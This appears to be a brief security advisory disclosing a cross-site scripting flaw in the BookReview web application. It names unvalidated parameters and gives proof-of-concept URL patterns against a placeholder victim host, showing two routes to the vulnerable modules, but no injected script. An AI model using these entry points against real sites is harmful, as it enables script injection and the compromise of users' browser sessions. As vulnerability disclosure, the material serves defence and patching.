###################################################
BookReview contains a flaw that allows a remote cross
site scripting attack.This flaw exists because the
application does not validate multiple variables upon
submission to multiple scripts.This could allow a user
to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust
relationship between the browser and the server,
leading to a loss of integrity.

proof of concepts
###################
all files are submited to 'index.php' script by variable 'page' like
index.php?page=[NAME_OF_MODULE]&isbn=[NUMBER_OF_ISBN]
the name of module can be 'add_review' 'add_contents' or others
for example this url:
http://[victim]/index.php?page=add_contents
&isbn=083081423X&chapters=25
is the same of this :
http://[victim]/add_contents.htm?isbn=083081423X&chapters=25
whith this if you think we have two wais for exploiting this situation,
one whith the index.php and other directly by the module.
